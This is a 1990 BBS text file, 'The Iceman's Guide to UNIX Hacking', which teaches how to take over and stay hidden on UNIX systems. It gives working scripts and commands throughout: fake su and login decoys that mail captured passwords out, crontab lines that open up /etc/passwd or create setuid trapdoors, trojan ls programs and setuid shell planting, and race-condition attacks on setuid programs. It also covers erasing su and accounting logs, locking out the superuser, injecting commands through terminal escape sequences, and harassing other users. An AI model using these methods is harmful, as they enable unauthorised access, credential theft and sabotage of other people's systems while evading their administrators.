File : UNIXHACK.TXT
Author : Iceman
BBS : The Banana Republic BBS
Ver: 1.30 THE ICEMAN'S GUIDE TO UNIX HACKING Updated:6/1/90
==================================
Introduction:
=============
This file is definitely not for people who have never used UNIX before. It
assumes a working knowledge of UNIX as well as the principles behind it. There
are dozens of books around on UNIX - a good place to start is S.R. Bourne's
'The UNIX System'. Most of the technical information in this file was gleaned
from the Bell Systems Technical Journal, the XINU and MINIX texts, the SYSV and
Ultrix manuals, and sundry other books.
Note also that this document assumes you have some sort of access to a UNIX
system. There are quite a few files on getting into UNIX systems floating
around; I won't bother rehashing them all. This file tells you what to do once
you are in.
Logging In:
===========
The easiest way to have fun with UNIX is to have a root shell - the super-
user's shell. Having done this, it is possible to create trapdoor programs
that make it easy to get on later. As super-user, you can patch the login
program from source available to you on the system, to save every password to a
secret file for your later enjoyment. A big loophole in UNIX are executable
logon names such as 'w' and 'date'. These can be identified in the password
file /etc/passwd as having no password:
w::101:50:Print users on the system:/bin/:/bin/w
Note the blank second field: No password. You can get these login names to
execute shell scripts: Once you have obtained root privileges, even if only
temporarily, you can place an entry in the password file to run a script at
login. This script can be changed at ANY time to do exactly what you want. To
add a script called foo, create the entry:
foo::102:50::/:/usr/junk/foo
where foo can be any shell script. The reason this works is because getty
(which prints the login prompt) is run by init, and the owner of init is root.
That privilege is passed on to the script because it is being run at login
time, and routines that run at login time usually need root access to perform
necessary initializations.
A useful command to search the passwd file for all logins that don't have
passwords is:
grep '^[^:]*::' /etc/passwd || echo "All logins protected (sigh)"
A few bugs are also floating around very old versions of UNIX that give
away root capability, for example if no user ID is specified in a user's entry
in the passwd file, the user ID defaults to 0 or root. An example is:
root::::Superuser:/:/bin/csh
Also, if the first line in the password file is a blank, you can login as
root with no password. Some system entries such as bin sometimes have no
passwords, in which case you can logon as bin, and then edit /usr/lib/crontab
to do a chmod on the password file, giving yourself access to it. Just add
something like:
* * * * * chmod 666 /etc/passwd
or
* * * * * chmod a+rw /etc/passwd
to the crontab file. This will allow anybody to read or write the passwd file.
Or you could put:
* * * * * chmod 4777 /tmp/door
giving yourself the trapdoor discussed elsewhere in this document. This works
because cron is executed by init, which is owned by root, so that any process
run by cron has root privileges. The asterisks tell cron to execute at the
next possible moment. Alternatively you can specify a time for it to run and
do it at an off-peak time (after the superuser has gone home, when he is out to
lunch etc). The 4xxx sets the setuid bit (for more on file protection bits,
see the section "Files" below), which allows the person executing the file to
assume the same priviledge level as its owner, in this case root. The x777
part lets anyone run/access the file as for the passwd example. You can also
alter /etc/rc ("Run Commands") to change the password file. This file is run
auto- matically at startup to configure the system. Again, all you have to do
is wait for the system to be rebooted, which chmod's the password file, and
then edit it.
cron can be quite useful for this sort of thing. If you have write
permision to a system directory, you can store a fake version of a system
command that would be executed by cron in there, and then wait for the event
that would cause it to be run. The fake version would, of course, have some
sort of trapdoor mechanism built into it. On the distribution tape of 4.2BSD,
for example, the /usr/spool/at directory is universally writeable by all users,
making it a prime target for this method. cron can also be valuable for giving
yourself access to a system atfer the superuser has kicked you off.
A useful command for finding programs with the setuid/setgid bits on is:
find
\( -perm -4000 -o -perm -2000 \) -print | sort
where dir is ant directory. All of the subdirectories of this directory
are recursively scanned. Note that beacuse of this it is a real CPU hog.
Finally, some systems are distributed with default vendor-supplied
passwords. If the system was set up by inexperienced users, they will often
overlook changing these default passwords. A classic example of this was an
early BSD release, which defaulted to no password for the root account on the
distribution tape.
Files:
======
Each UNIX file has associated with it 11 bits, together with a user ID
(UID) and group ID (GID). Nine of the bits specify permission to read, to
write, and to execute the file to its owner, to members of the owners group,
and to all other users of the system. The last two bits, called the set-UID
and set-GID (SUID and SGID) bits, are referenced only when a file is executed
as a program. If the SUID bit it set, then the effective UID of the person
running the program has all access priviledges of the program's owner. The
SGID bit works in a similar way for groups. An example of a program that uses
this SUI capability is the /bin/passwd program, used to change entries in the
password file, which is not normally world-writeable. To write to the password
file, passwd must access /etc/passwd and change the users encrypted password
stored there to the new version. Thus all users are able to alter the
sensitive /etc/passwd file, but only as permitted by /bin/passwd. UNIX also
recognises a special user, referred to as the super-user, with UID 0, who has
unrestricted access to all files in the system regardless of ownership or
protection configuration, and can execute priviledged system commands. Anyone
who has a UID or GID of 0 is treated by the system as root.
The most important files in a UNIX system from a hacking point of view are
/etc/passwd, /etc/*rc, /usr/lib/crontab, and usr/lib/uucp/L.sys. Files to
watch for are ones with the SUID or SGID bits set. You can modify these files
to misuse the temporary root status to do all sorts of fun things, and then
alter the date as described below so no-one will know. An example of this is
the /bin/passwd command described above. /etc/passwd has its SUID bit set to
/etc/passwd's owner, which is root, so while passwd is running, you have root
privileges. When the command terminates, so do the root privileges, unless you
have altered the command in some way. This is the classical trapdoor: It is
just another process, a clone of an ordinary user shell with one significant
exception: The UID is 0, or root. What happens is that when the trapdoor
program is run, the program changes the effective UID to that of the owner of
the file, ie root. It then spawns a shell via the exec() call, and presto, one
shell with root privileges. Some points to watch for: The standard way to do a
trapdoor is to have a program that acts as normal unless you call it with a
wierd option such as '-xyzzy' (note that progs such as ls are no good for this
as ls accepts virtually anything as some sort of valid switch).
A trap to fall into while playing with root is to generate an entry in a
log file such a sulog. uucp also keeps a log file. Paranoid superusers may
also get other progs to create logfile when used.
SU:
===
This command lets you substitute another UID for your own, but I don't
recommend it as all su activity is recorded in a file called /usr/adm/sulog.
As super-user you can edit this file, change the modification date, etc, but it
just isn't worth the effort, as the superuser can also use ps to find out if
anybody is using su. However it does have its advantages: By examining it you
can at once identify any useful 'targets' on a system - anybody who can su to
root is a worthwhile target for hacking activity. The sulog is really a well-
meaning (for systems administrators) but misguided attempt at security, as
there are far safer methods to become root than with su, and yet it helps to
identify potential targets for hacking. Avoid su if you can. (Anyway, to su
to root you must have the root password anyway, so why stuff around with su
when you can just login as root). However, su does have one great advantage:
It can be used to find out all the passwords used by other users of su. The
general program flow of su is:
Get info on user: uid, gid, password, tty,....
If the password is null or the uid is zero
Go past the password questions
Prompt for the password
If the encrypted version of what was just typed doesn't match the
/etc/passwd entry
Log an unsuccessful su attempt
Print "sorry"
Exit
Log a successful su attempt
Make the system calls to force uid and gid
Set up the environment if requested.
If you are not on the system console and this is a root shell
Log a message to the system console
Fix up argv to show su in a ps command
Exec a shell
Obviously you will need to get rid of the logging of su in /usr/adm/sulog
and to the console, and the fixing up of argv to show su in a ps command. Also
you would have to add checks for a "secret" password of your own so su bypasses
the normal password checking sequence. Finally, you would have to add extra
code to log all passwords to su to be logged in a secret file, so that
gradually you would obtain all the interseting passwords on the system.
However, it would probably be a lot easier to patch login, since here there is
no need to bypass the complicated logging of program use to various places.
An alternative is to create a dummy of the su command which saves the
password in some obscure corner of the system, and then exits, removing all
traces of itself. The following shell script should do the trick:
stty -echo
echo -n "Password:"
read PASSWORD
echo " "
stty echo
echo $PASSWORD | mail &
sleep 1
echo Sorry.
rm su
Accounting Files:
=================
The UNIX accounting file has a record of every process that runs on the
system (you can find the exact structure in /usr/include/sys/acct.h). One of
the fields in this structure records the processess that have superuser
capabilities. When someone uses a root trapdoor, the processes they spawn are
owned by root. The accounting file takes the terminal number from which the
process was run, so the superuser can look for root processes run from
terminals that wouldn't normally be used by people authorized for root access.
When processes have a UID different from that of the person running them, the
accounting files can be very revealing. Things that really make the superuser
suspicious are shells with the su flag set - this is a dead giveaway of a
trapdoor. You can view your accounting info with:
acctcom -b -u$USER
Another interesting accounting file worth having a look at is
/usr/adm/wtmp, which contains a record of all the logins since it was created.
The file /etc/utmp contains info on users currently logged on (this file is
used by the 'who' command).
Unsuccessful Logins:
====================
Some systems record unseccessful logins. The login time, terminal, and
username are stored, but unfortunately the password used is not recorded.
However a reasonably common mistake is to type in a password when asked for a
login name, or try to type too fast (because of people like me looking over
their shoulders) and type in half the password at the end of the login line as
you fumble for the return key. At any rate, the end effect is that invariably
a few passwords are collected along with login names in the logfile. All that
is necessary is to check all names in the login file with /etc/passwd - any
name not in this but in the logfile has a good chance of being a password.
Some systems will count the number of consecutive unsuccessful login
attempts for a particular user and disable the account after the number crosses
a certain threshold. This value is usually three attempts. This is a marginal
nuisance for would-be hackers, but is great for getting rid of the super-user:
login: root
Password: zot
repeated the appropriate number of times should ensure privacy for a while at
least.
Physical Access to the Root Terminal:
=====================================
Chances for this are rare; it is also very risky to be caught tampering
with the super-users terminal, but anyway: All you need to do from the
superusers terminal is chmod to set the userid bit on your
already-compiled-and-ready-to-go program just waiting to have the permissions
changed. If a terminal is left logged in as root at night while backups are
performed, or if you can use the superusers office for some other legitimate
activity and they leave for a few minutes, this is a golden opportunity not to
be missed.
The standard booting operation for UNIX systems brings the system up in
superuser mode, without requiring a login sequence or password. During this
time, the system identifies all commands as coming from root, so that anyone
who can reboot the system can become root. The only prerequisite to do this
is, again, access to the system console. Also, on some systems if the boot
sequence is interrupted, they will drop into some sort of low-level monitor
program. However doing anything other than restarting the reboot from these
monitors is generally painful.
Capturing Shells:
=================
Another neat trick is to get people to execute a command which saves a
shell owned by them that you can run in some safe area. A shell script to do
this is:
#! /bin/csh -f
echo "#! /bin/csh -i">/tmp/$USER
chmod 4555 /tmp/$USER
This saves a script to invoke an interactive shell in tmp/$USER (note you can't
save it straight to your $HOME as this would involve giving the victim write
access to it) which is executable by anybody and with the SUID bit set. Thus
you can "become" the victim at any time.
Taking advantage of $PATH:
==========================
Usually $HOME/bin is one of the first entries in the PATH variable. If
this is before /usr/bin, you can put a file in the victims /bin directory, such
as ls, which will be executed instead of the standard ls. Once they execute
this ls, it will run with the same capability as the person running it. An
example fake ls shell script is:
echo "#! bin/csh -i" > /tmp/$USER
chmod 4555 /tmp/$USER
rm ls
`$1`
This is just the standard getshell presented above. The `$1` passes the ls
command on to the shell - this is necessary because if the victim types say 'ls
-l' and the response is a simple 'ls' they will become a bit suspicious. Note
that the backquotes are necessary - they force the passing on of the typed
command to the shell as is. The 'rm ls' removes any suspicious evidence in the
victims directory.
If the first entry in $PATH is '.' (eg $PATH=.:$HOME/bin:.....) then users
will unwittingly execute programs in whatever directory they are in in
preference to the usual system-wide command. So it becomes a simple matter to
create a directory with some tempting programs in it (games etc), give everyone
acces to it, and then create a local version of, say 'ls', which is yet another
getshell program, eg:
echo "#! bin/csh -i" > /tmp/$USER
chmod 4555 /tmp/$USER
`$1`
These programs can be used in conjunction with SU (described above) to give
superuser passwords but this is quite risky - it is doubtful whether any
superuser will be fooled that easily.
An interesting point to note is that it is not necessary to explicitly
put a . in $PATH. Merely having two colons in a row (::) as part of $PATH, or
even just one colon if it is at the start or end of $PATH, is enough to include
rhe current directory in the search path. Thus the following (somewhat
exaggerated) PATH definition would search the current directory six times if
the command was not found:
PATH=::/bin::usr/bin:.:/usr/ucb::
1 2 3 4 5 6
Finally, many systems programmers modify the root search path for their own
convenience, and then forget that these same paths will be used by system
maintenance scripts run automatically over night (see the section on using cron
in "Logging In"). Sometimes people's .profile or .login files are
world-readable, making it very easy to place dummy versions of commands in
their way.
Login Decoys:
=============
The standard UNIX login sequence is as follows:
First, init spawns getty ("Get Teletype"), which is initiated from the
/etc/inittab file, on a specific tty number at a specific speed. This sets up
the line characteristics and prints the login prompt. When a user types a
login name, getty checks it for validity, then execs the login program. Login
prompts for the password, encrypts it, and checks it against the encrypted
password in the /etc/passwd file. If the passwords are the same string, login
execs a shell that prints the shell prompts and reads your commands from the
terminal. The actual shell is determined from the passwd file, given by the
entry for that login name. There are several places in this chain open to
attack, the best place being right at thet start, with getty.
When getty is waiting for a login, it prints the string in /etc/gettydefs.
All you need to do is write a short program to put up a dummy of this, save the
password off to some secure place, print an error message (the standard 'login
incorrect' message), and then execute the standard login. The following shell
script should do the job:
echo -n "login: "
read NAME
stty echo
echo -n "Password: "
read PASSWD
echo ""
stty echo
echo $NAME $PASSWD | mail &
sleep 1
echo "Login incorrect"
stty 0 > /dev/tty
This simple script asks for your name, password, spawns a background
process to mail them to you, waits for a while, and then announces a bad
password to the victim and quits. Note that this is meant as an example only -
it should be written in C, with all signals to it disabled, to stop someone
using ^C to break out into your shell - in that case you would become the
victim. Another alternative is to follow the suggestions in the section on
shell fault handling. Note also that you cannot simply leave a process running
after you logoff - when you try to log off you will be warned that you still
have a process running, and if you try to log off a second time it will be
killed. To bypass this, use the 'nohup' (no hang up) command. This will
prevent disconnecting (hanging up) the terminal from killing the process. The
format is:
nohup
The nohup command can also be faked with:
trap " 1 2 3 15
exec "${@?}"
The trap turns off the signals specified so that they are ignored by the
subsequently created commands, and the exec replaces the shell by the command
specified as arguments. Note that commands run with 'nohup' can also run
invisibly in the background with an &.
This can only be used to catch users on publicly used terminals though - I
doubt any superusers could be fooled (even if you could get at their terminals,
there are better things to do with them than play around with dummy logon
shells).
Password Aging:
===============
Recent releases of UNIX have a neat feature called password aging, which,
if enabled by the super-user, forces people to change their passwords every so
often. The idea behind this is that even if someone finds out a password, it
will only be of use for a limited amount of time. What happens is that when
the password has expired, on logon the user is greeted by the message "Your
password has expired. Choose a new one", and execution of the passwd command is
forced rather than dumping the user into a shell as usual. Also, to prevent a
user from changing a password from X to Y and then promptly back to X again,
passwd refuses to change a password that is less than one week old.
And now for the good part: This system is (believe it or not) quite useful
for hackers. Because most users aren't expecting this sort of thing when they
logon, they will have absolutely no idea of what to use as their new password.
As a result, people will tend to come up with incredibly stupid passwords on
the spur of the moment, with the intention of 'changing it later', but without
any clear indication of exactly when 'later' is. Also, if the new password is
discovered, it cannot be changed for a WHOLE WEEK by the user - plenty of time
for having all the fun you want with that account. Another point is that even
if users do use reasonably nontrivial passwords, all that the ageing will
generally make them do is toggle between two passwords - if you know both
you're fine.
Obviously this feature is a prime target for a login decoy type program -
an expired password is a perfectly valid reason for forcing a user to retype a
password - far more valid than "line noise" or a "typing error". However you
must then be careful to *really* change the expired password or the victim may
become just a bit suspicious. It is also possible to scan the /etc/passwd and
check for expiry dates of passwords - in the current implementation it is
stored in an encoded, but not encrypted, format just after the encrypted
password. With this method you can instantly find all expired accounts, and
also find out how long various accounts have to go before they expire. However
merely reactivating an expired account is not too safe as the real owner may
turn up and wonder why his password no longer works and/or why he doesn't at
least get the 'expired' message.
Some newer systems also require a certain format for passwords, eg at least
6 characters, or at least 6 letters and one digit. Some earlier versions of
passwd allowed any-length passwords on the second attempt at running passwd,
but this has been removed in more recent releases. The effect of the 1-digit
rule is that people append a digit in the range 0-9 at the ends of their
passwords, so all that is required is that you try the same password with
10-digit variations instead of just typing it in straight. It is interesting
to note that in a recent study of super-user passwords on systems that used
this sort of password style, the most common 20 female names followed by a
digit in the range 0-9 (ie 200 tries per password) gave access to quite a few
systems. Now that's a super-user password just by guessing (so it's quite a
bit of typing, but it also doesn't involve any of the somewhat risky acrobatics
described elsewhere in this document).
Setuid Shell Scripts:
=====================
An easy way to achieve superuser capabilities is through the use of setuid
shell scripts. For the Bourne shell, the first line of a script will be:
#!/bin/sh
What happens is that the kernel discovers the magic number #! and tries to
execute the command interpreter pointed out, which may be followed in the
script by one argument. Before the exec() of the interpreter, the UID and GID
fields somewhere in the user structure of the process are filled in. In C, the
process carried out is:
execl("/bin/foo", "foo", (char *) 0);
which comes to:
setuid(0);
setgid(0); /* Possibly */
execl("/bin/sh", "sh", "/bin/foo", (char *) 0);
All that is necessary is to make the name of the script equal -i, which can
be done by linking the script to a file named -i. Thus the exec() becomes:
execl("/bin/sh", "sh", "-i", (char *) 0);
which creates an interactive shell with UID 0.
For the csh, the process is somewhat different. The csh refuses to run a
setuid script unless the -b ("break") option is present. What the -b option
does is try to prevent the above from happening, ie it prevents following
arguments of an exec of /bin/csh from being interpreted as options. However
there is still a way to get around this problem, albeit not a particularly easy
one. The idea is to get in between the setuid()/setgid(), and the open() of
the command file by the command interpreter, and quickly unlink() the link to
the setuid shell shell script and then link() in some other shell script.
Another possibility is the creative use of the $PATH variable as described in
the section "Taking Advantage of $PATH".
The idea of getting in between system calls in a program can be extended to
other setuid programs as well. For example, the mkdir command, which is a
setuid program owned by root, works by first creating the inode for a directory
with the mknod() system call, followed by a chown() to change the owner from
root to its real owner. In this case all that is needed is to remove the
directory inode and make a link to the password file under the name of the
directory. Then, when the chown() call is executed, the user becomes the owner
of the password file.
While in theory this would seem to take incredible luck, it is in fact a
relatively simple matter to create a shell script which performs some action to
slow the system to a crawl, while at the same time repeatedly trying the above
methods. A suitable means of slowing the system down is via the mail daemon -
create a process which sends yourself endless zero length messages (but don't
overdo it - I once caused a minor panic through runaway mailing which
overflowed several internal tables used by the system, at which point the
process was killed by a seperate safety-net watchdog process).
Some brief notes on other methods:
==================================
False tape release: Rather obscure: Get hold of an old update tape, patch
it, send it to the superuser, and hope they use the 'updates' on the tape
without getting too suspicious.
Passwd encryption: The algorithm used is the DES (Data Encryption Standard)
algorithm with an added twist: one of 4096 variants is chosen, dependant on two
randomly generated chars called 'salt' in the /etc/passwd file. You could grab
a password, use its salt and encrypt a list of known passwords. If the result
matches the sample password, you're in. This is a lot of work, and also
involves a lot of use of the system command crypt. This command is specially
designed to chew up enough CPU time to make it very inconvenient for repeated
use. Also repeated use of it will probably attract the superuser. One way in
which this method can be used is to encrypt a sample of possible passwords on a
secure, and preferably fast, system (such as the Cray you broke into last
week), and then use the pre-encrypted passwords on the target system. Another
way is to create you own program to pre-encrypt passwords at high speed on your
own system for later use, a method I use frequently.
Mount command: Only good on floppy systems. Get a system on which you can
become superuser, make a trapdoor and put it on a disk, take the disk to the
target system and mount the file. You now have a file with superuser access
(this is about the only thing PC-UNIX is good for.....). This is sometimes
protected against by making mount restricted, or not allowing the mounting of
setuid files.
Source code patches: Patch passwd, chown and chmod (to not check if you
have a uid of 0), crypt, su (to not update sulog), ps (to not show root
accesses) etc. A lot of work, and far too complex to explain here (it involves
getting the source, compiling it, becoming root, swapping the files, resetting
any dates/log entries etc, as well as just plain doing the patching. How do
you test a program that needs to be run in superuser mode without running it in
superuser mode? Catch 22).
Reading supposedly blank memory pages/disk space: Many systems do not erase
newly allocated memory pages or disk space, and they can be full of interesting
information left there by the previous owner. Note, however, that it is not
possible to acquire passwords in this manner - the nature of the DES encryption
ensures that the password is never stored internally in any decrypted form. A
related technique is that of modifying data structures that are stored in user
space. Often, programs will build up complex data structures to access
streams. As the stream is written or read, the system updates these
structures. Changing these structures can have some interesting effects. A
good idea is to look at the files in /usr/include/sys/*.h for details of these
data structures.
Taking advantage of trusted logins: One of the most useful features of BSD
UNIX systems is the ability to execute tasks on remote machines. To avoid
having to repeatedly type passwords to access remote accounts, it is possible
for a user to specify a list of host/login name pairs that are assumed to be
trusted, in the sense that a remote login from that host/login pair is never
asked for a password. The files /etc/hosts.equiv, /.rhosts, and $USER/.rhosts
contain lists of trusted systems. Quite often, these machines and accounts are
set up for reciprocal trust. In this manner, it is a relatively easy matter to
first obtain access to a less-trusted system, and from there migrate onto more
secure systems, without having to go through the usual rigmarole to bypass
security measures.
Resource exhaustion: Very little protection is offered against excessive
consumption of resources by users. Therefore it is possible to degrade system
performance, or even halt it altogether, by exhausting such resources as
inodes, disk storage, files, processes, and swap space. The only real use for
this is mentioned in the section "Setuid Shell Scripts". A related method is
to feed invalid parameters to programs, which are often not set up to handle
them properly (for more on this see "Advanced Techniques").
Create a pseudo-device: In the file /etc/master or /usr/sys/conf/master is
a table of all the device driver names associated with each primitive. To
create a pseudodevice, put a new entry in the device driver table (the table
names the routines that support the primitives). The open() syscall then calls
the device driver, and since the open() call was in system mode, the device
driver also runs in system mode. From there it's up to you (if you can write a
UNIX device driver then getting on from this point is child's play).
Impersonate a remote uucp node: Details of uucp are given in the "Tricks
with UNIX Comms" section below. Basically it involves looking in the
/usr/lib/uucp/L.sys file for logins for remote systems. Then look in
/etc/passwd for logins that run uucico progs rather than a regular shell. Then
change the node name of your UNIX system to the node name of the remote system
to impersonate, login under uucp or the special login name described above.
uucp will give the (fake) node name to the target system. You can then
transfer progs, mail etc back and forth. If you plan to do this on a regular
basis, remember to forward the mail to the system you are impersonating
otherwise the administrators of both systems may become suspicious. It should
also be possible to export setuid files the the target system, providing yet
another potential source for trapdoors.
Remove the password file: Some early UNIX systems had a subtle bug whereby
the lpr utility, if invoked with a switch that told it to remove the file after
printing it, would remove any file, including the password file. This then
allows you to log in without a password. Note that this method, while sounding
pretty drastic, is actually quite effective: Just save a copy of the password
file somewhere beforehend, and then restore it once you have become the
superuser.
Overwrite the password file: Similar to the above (and also fixed in more
recent UNIX systems), this method involves linking a file called core to the
password file, and then forcing a core dump of a setuid program, which the
system will write on the core file, or in other words over the top of the
passwd file. In this way, it is possible to replace the passwd file with one
containing a few strings of your own choosing (for example command arguments).
Look for all manuals that say "Do not do X". Try as many variations of X
as possible.
Forging mail: This is not really a 'real hacking' method, and is also
pretty well known and usually protected against: In SYSV (but not XENIX System
III or BSD 4.2) your can change LOGNAME to any name, and mail will then use
this as your USERname. Of course of you are root you can just use sendmail
-r or -f to send mail supposedly from whoever you want.
There are several other holes in sendmail; however, the latest release (BSD
5.61) purports to fix all previously known problems.
Shell Fault Handling:
=====================
Shell procedures such as the ones described above nornally terminate when
an interrupt is received from the terminal. The "trap" command can be used to
handle these interrupts, for example:
trap 'halt -q -n' 2
sets a trap for signal 2 (terminal interrupt), and if this signal is
received will execute the command 'halt -q -n', which will crash-halt the CPU.
Signals can be handled in one of three ways: They can be ignored, in which
case the signal is never sent to the process; they can be caught, in which case
the process must decide what action to take when the signal is received; or
they can be left to cause termination of the process without the process having
to take any further action. A procedure can trap all signals by makng the null
string the argument to trap. The following:
trap " 1 2 3 15
causes hangup, interrupt, quit, and kill to be ignored both by the
procedure and by the invoking commands. Traps may be reset simply by saying:
trap 1 2 3 15
which will reset the traps for the above signals to their normal values. A
list of the current values of traps may be obtained by using trap with no
arguments.
The signals available under UNIX are:
1 SIGHUP
A hangup from the terminal. Usually results from a loss of carrier over
a phone line and can also be generated using:
stty 0 > /dev/
2 SIGINT
Terminal interrupt (^C).
3 SIGQUIT
Quit. This is the usual way to terminate a program when a core dump is
required.
4 SIGILL
Illegal instruction.
5 SIGTRAP
Trace trap (used by the debugger 'adb').
6 SIGIOT
IOT instruction (also used by 'adb').
7 SIGEMT
EMT instruction - used on some machines for FP emulation.
8 SIGFPE
FP exception.
9 SIGKILL
Kill. This signal can be safely used to get rid of and of your processes
It cannot be caught or ignored by any process. Note that you can only
kill your own processes, and not anybody elses, and that because of this
there is no danger of any other user breaking out of say a decoy login
shell script, since kill cannot be generated from the keyboard. It must
be sent with the 'kill' command, eg:
kill -9
10 SIGBUS
Bus error - usually caused by illegal pointer indirection.
11 SIGSEGV
Segmentation violation - caused by an illegal pointer reference, array
bounds error, or stack overflow.
12 SIGSYS
Bad argument to a system call.
13 SIGPIPE
Write to a broken pipe.
14 SIGALRM
Alarm clock. This is generated following the 'pause' system call.
15 SIGTERM
Software termination signal. This signal is the default for the 'kill'
command (mentioned above), and allows the process receiveing it to clean
up temporary files and exit gracefully. If this fails, a 'kill -9'
should be used.
UNIX I/O:
=========
UNIX talks to peripherals with "special files", which may be found in the
/dev directory. Block devices such as /dev/hd0 use buffered I/O, char- acter
devices such as /dev/tty00 use character I/O. Typical devices are:
/dev/tty Terminal
/dev/rmt Tape drive/backup
/dev/fd Floppy
/dev/hd Hard drive (block device)
/dev/rhd Raw char. device
Note that all system resources are accessed in this way, even memory (as
/dev/mem), and the kernel (/dev/kmem). Examining these files with a 'ls -l'
will produce two numbers, the major and minor device numbers. The major number
is an index in the cdevsw[] table that contains the address of the device
driver used by the kernel for that type of device, the minor number is an id
for the particular device involved. The numbers appear in sequential order for
the devices that use the same driver.
Tricks with Terminals:
======================
Because a terminal is treated as a file, it has permissions just like
everything else. To keep people from writing to your terminal, just use chmod
600 , or the easier-to-remember 'mesg n'. There are some nice tricks
you can do with terminals. If someone has their write-protection turned off,
you can run a file like:
while :
do
clear > /dev/tty
done &
which is a background process which continually clears the victims screen.
You can go further than this, however. Whenever you open a file, you get a
file descriptor back, which you can then use in the ioctl system call.
Obtaining that file descriptor is the magic bit - you now have a key to that
person's terminal interface. Any ioctl alterations made to that file
descriptor take effect immediately, and you can read things being written/read
at that terminal, and even trick the terminal into executing commands for you.
An example of this is the ANSI escape sequence ESC ] ,
which when sent will execute a command as if it were coming from the remote
terminal. The person using the terminal may never find out what is going on!
An interesting feature of UNIX is that once you open a device (in this case a
terminal) then you still have read/write access to it even if the owner of the
device turns off permission, and continue to have access until you close the
device. However, once you have closed it you won't have access to it any more.
There are exceptions even to this rule, however: In networks, some
workstations may cache parts of the filesystem locally. On one system I know
of, if the remote file is updated the locally cached version is not, thus
allowing access at the "old" access level until the cache is updated.
It is also possible to use the UNIX I/O redirection facilities to play all
sorts of tricks with terminals. Under the shell, it is possible to redirect
I/O to and from file descriptor by prefixing them with an '&'. Thus the
command:
cat > &
will send the file to the file descriptor . It does this by
duplicating the file descriptor using the 'dup' system call, and then using the
result as the standard output. Normally the standard output/input is
designated by '-'. Thus it is possible with the commands:
<&-
and
>&-
to close the standard input and output respectively.
Note that since terminals are files, they have access/modify/create time-
stamps on them as described int the "Time Stamps on Files" section. These are
stored in the inodes as three longints, and can be used to, for example, find
the last time a person typed something on their terminal with 'who -u', which
uses the stat() system call to find the modification time of the device file.
If the terminal has been used in the last minute, a '.' is shown for that
terminal, if it hasn't been used for 24hrs the string 'old' is printed,
otherwise the time the terminal was last used is printed in HH:MM format.
Tricks with File Systems:
=========================
Only a few brief notes here as you usually won't do any of this:
To find out how much disk space is being used by files in a directory and
(recursively) in all its subdirectories, use the "du" command. The output from
du is a list of file or directory names and the associated number of 512-byte
blocks used. There is a similar command, "df", which prints the number of
blocks in each filesystem, a block being typically 512 or 1024 bytes.
To access a physical partition on a disk as a block device, you must first
create a filesystem on it. This is done with the mkfs command:
mkfs /dev/hd
eg
mkfs /dev/hd08 8000
will create an 8MB filesystem as hd08. This file system now contains the
superblock, free lists, etc, everything needed to keep track of the files that
live there. Now you must mount the filesystem with the command:
mount /dev/hd /mount_point
Files can now be placed in this disk partition with the usual cp, mv commands,
mkdir used etc etc. Why you would want to go to all this trouble is beyond me
(you also have to be superuser to do this sort of thing).
To use a filesystem as raw storage rather than as a block device, use the
device file that has the character device name that starts with 'r'. For
example to use the same device as the one used in the previous example as a raw
device, use the name '/dev/rhd01'. If you examine this device with 'ls -l',
you will notice that the permission bits start with 'crw' rather than 'brw',
indicating that it is a character rather than a block device. The device has
no filesystem in it, and is just an expanse of bytes, used to back up data.
A useful system variable is ulimit. This sets the max size of file you (or
your victim) can create. If you set this to 0, the victim can't create ANY
files at all until they logout and log on again. You can either use this to
force them to log off so you can capture their password when they log on again,
or just to be a nuisance by putting it in their logon script (most people won't
have a clue what the problem is). There is a whole range of tricks that can be
played in this manner. One possible trick is to add the entry:
echo "sleep 1" >> .cshrc
to the victims .cshrc file. Eventually, a large amount of these sleep
commands will accumulate, with the only indication to the victim being that the
system appears unusually sluggish at logon. An alternative method is to lower
the priority level of the users shell with the nice command. Since all
programs run by the user are spawned by the shell, they will also run at this
lower priority level.
If a file is created under UNIX and opened, and then deleted, then the
inode block information still exists as long as the process that did the
create/ open/delete of the file is still active (this can be done by using the
'nohup' command and putting the process in the backgound with '&', ie:
nohup &
This means the process will be around in the background forever). The
blocks occupied by the file will just seem to disappear from the system, but
they are still yours to use. To access them, bring the program that created
the deleted file back into the foreground, and get the data back by creating a
new file, reopening the old (deleted) one, and copying the hidden blocks into
the new file. This is a great way to hide information on a disk - there is
absolutely NO WAY anybody (even the superuser) can get at this data. The only
way to recover the space is to archive all the (legitimate) files in the
filesystem, and then re-initialize it (usually by reformatting the disk it's on
and restoring the data from the archive it was backed up onto.
Another, much simpler (but not so foolproof) method to hide information is
to use unlikely-looking filenames such as ".. " (dot dot space) and ..., as
well as more ordinary-looking names like .mail. These filenames, beginning
with a dot, are not normally included in file lists by the shell. Thus for
example the ls command will not display them, unless invoked as ls -a to
display all files.
Low-Level File Access:
======================
Again, only a few brief notes, there's far too much stuff to go into in any
detail:
You can examine any device file using the octal debugger od, eg:
od -c /dev/hd08
will dump the data in hd08. You can also use:
cat /dev/hd01
and similar commands. If you dump a device file with a file system on it,
the data will be seen as random blocks of 512 bytes. At some point you should
see directory listings. Note that it is *very* risky to write to a device in
raw mode as the raw device won't know anything about the file system in the
partition and could overwrite pieces of it.
Another way to play around with file systems at a low level is with fsdb,
the file system debugger (unfortunately this program is not present on all UNIX
systems). Again, this program is far too complicated to go into in detail.
See the various UNIX manuals or Bell Labs papers - these are a mine of
information on the technical details of UNIX. Another source is the
/usr/include directory, which contains the include files with the data
structures used by these files.
Floppy-Based UNIX Systems:
==========================
The installation of UNIX on a hard disk is usually assisted by a standalone
shell (SASH). This is sometimes installed from tape, but is easiest to run
from floppy. The sequence of events on startup is this:
The floppy may be one single partition, or it may be divided up into a root
partition and a user partition. Either way, the floppy has a filesystem
created from another system and placed on the disk. Block one of the
filesystem is the boot record, which is placed on the media by the 'dd'
command. Dd copies bytes starting at the beginning of the device. The boot
record contains code necessary to start UNIX from the disk.
Block two is the superblock, a kind of master directory to the filesystem,
and has both the inodes pointing to information about each file and a list of
available areas of free space. The root filesystem also has a floppy version
of the kernel, which boots up and runs the shell just as its big brother, the
hard disk kernel, does for the system as a whole. You can even mount the
installation disk on another hard disk system and copy commands to it (more on
this later).
Once the floppy kernel boots, it has a complete filesystem with all the
device files. It mounts the hard disk partition (assuming it has been
partitioned) and copies files to it in system format. It should look like
this:
# mount /dev/hd01 /mnt ; Issued from the floppy to mount the first
; partition of the hard disk.
# copy /unix /mnt ; Copy hard disk kernel to hard disk partition.
Normally only root can mount filesystems. On a large mainframe or mini,
this makes sense. But on a small desktop machine, it may be too restrictive
for the environment. To override this requirement, use the setuid capability:
# chown root /etc/mount; chmod 4511 /etc/mount
